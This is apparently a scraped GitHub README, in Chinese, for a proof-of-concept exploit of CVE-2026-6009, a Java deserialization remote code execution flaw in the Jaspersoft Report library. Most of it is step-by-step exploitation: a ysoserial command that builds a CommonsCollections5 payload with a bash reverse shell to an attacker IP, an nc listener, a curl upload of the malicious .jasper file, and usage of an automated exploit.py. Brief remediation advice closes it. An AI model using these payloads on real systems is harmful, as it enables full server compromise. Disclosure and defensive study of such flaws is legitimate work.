Pumila03/CVE-2026-6009

GitHub: Pumila03/CVE-2026-6009

该项目提供了针对 Jaspersoft Report 反序列化 RCE 漏洞(CVE-2026-6009)的概念验证代码和自动化利用脚本。

Stars: 0 | Forks: 0

# CVE-2026-6009 ## 概念验证 ### 摘要 **Jaspersoft report** 库版本 **≤ 7.0.3** 存在因利用 Java 反序列化流程导致的**远程代码执行(RCE)** 漏洞。攻击者可通过该漏洞在使用此版本库的系统上建立反向 Shell 连接。 - **库名称:** Jaspersoft report - **受影响版本:** ≤ 7.0.3 - **漏洞类型:** 通过 Java 反序列化导致的 RCE - **CVE 编号:** CVE-2026-6009 - **CVSS 评分:** 8.7(高危) - **日期:** 2026-05-19 ### 漏洞描述 为了传输数据,某些系统需要将对象转换为特定的可传输格式,此过程称为**序列化**。**反序列化**则是逆向操作。在 Java 中,漏洞机制在于 ```ObjectInputStream.readObject()```,该方法用于从输入流反序列化任意对象。由于 ```JRLoader.loadObject()``` 使用该方法读取 Jaspersoft 库中的 *.jasper* 文件报告,因此成为植入恶意代码的危险入口。 仅靠 ```readObject()``` 本身不足以触发代码执行,它仅对已知的可利用类起作用。攻击者利用已知的**利用链**(如 CommonCollection)来执行其负载。 ### 环境 为了制作概念验证(PoC),我在一台 Parrot 机器上搭建了一个实验环境,该环境使用基于 Jaspersoft Report Library 的 Java Web 服务器: **操作系统:** Parrot OS 7 GNU/Linux **框架:** Spring Boot 2.7.18 **依赖:** Jasperreports 7.0.3 **环境:** Java 11 **编译器:** Maven #### 漏洞代码示例: ``` @PostMapping("/upload-report") public String uploadReport(@RequestParam("file") MultipartFile file) { try { InputStream is = file.getInputStream(); // ObjectInputStream.readObject() appelé en interne par JRLoader JasperReport report = (JasperReport) JRLoader.loadObject(is); ... ``` ### 复现步骤 1. **分析** 第一步,一旦确认目标系统使用了存在漏洞的 Jasperreport 版本,你需要找到目标系统接收 jasper 文件的具体位置。 在本环境中,该位置为 ```http://localhost:8080/upload-report```。 2. **检查漏洞** 接着,你需要找出在目标系统中哪些类可用作利用链。你也可以尝试几种方法,观察哪种能触发系统响应。 在白盒环境下,我们可以自行查找该信息: ``` mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell" ``` 我们发现该系统使用了 CommonsCollections。 3. **生成负载** 对于 CommonsCollections,使用 [ysoserial 脚本](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) 生成所需的负载。此处生成一个反向 Shell: ``` java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper ``` *可能需要测试多个版本的 CommonCollections 以成功执行负载。* 4. **准备漏洞利用** 为了建立反向 Shell 连接,我们需要在某端口上监听,以接收由目标系统根据负载发起的连接: ``` nc -lnvp 4444 ``` 5. **漏洞利用** 最后,只需将生成的负载发送到找到的目标位置,并检查你的端口以确认目标系统已成功建立连接: ``` curl -X POST http://localhost:8080/upload-report -F "file=@file.jasper" ``` ### 影响 具有该端点访问权限的攻击者可利用服务器权限执行任意代码,进而导致系统完全沦陷。 ### 修复建议 - 将 JasperReports 升级至 7.0.4+ 版本 - 切勿反序列化来自未知来源的 .jasper 文件 - 对授权类实施白名单机制 ## 脚本 ### 描述 ```exploit.py``` 是一个自动化脚本,用于复现 CVE-2026-6009 漏洞的利用过程。 ### 使用方法 ``` python3 exploit.py -t TARGET -s IP_SOURCE -p PORT python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444 ``` ### 选项 |标志|说明| |:------:|:-----:| |-t, --target| 上传 *.jasper* 文件的目标位置| |-s, --source| 你的 IP 地址| |-p, --port| 反向 Shell 要连接的端口|
标签:CVE-2026-6009, Go语言工具, Jaspersoft报表, Java反序列化, JS文件枚举, Maven, Maven, ObjectInputStream, Parrot OS, PoC, RCE, Spring Boot, 代码执行, 反序列化攻击, 威胁模拟, 安全漏洞, 库漏洞, 文件上传, 暴力破解, 服务器端攻击, 漏洞验证, 漏洞验证, 编程工具, 远程代码执行, 逆向工具, 高危漏洞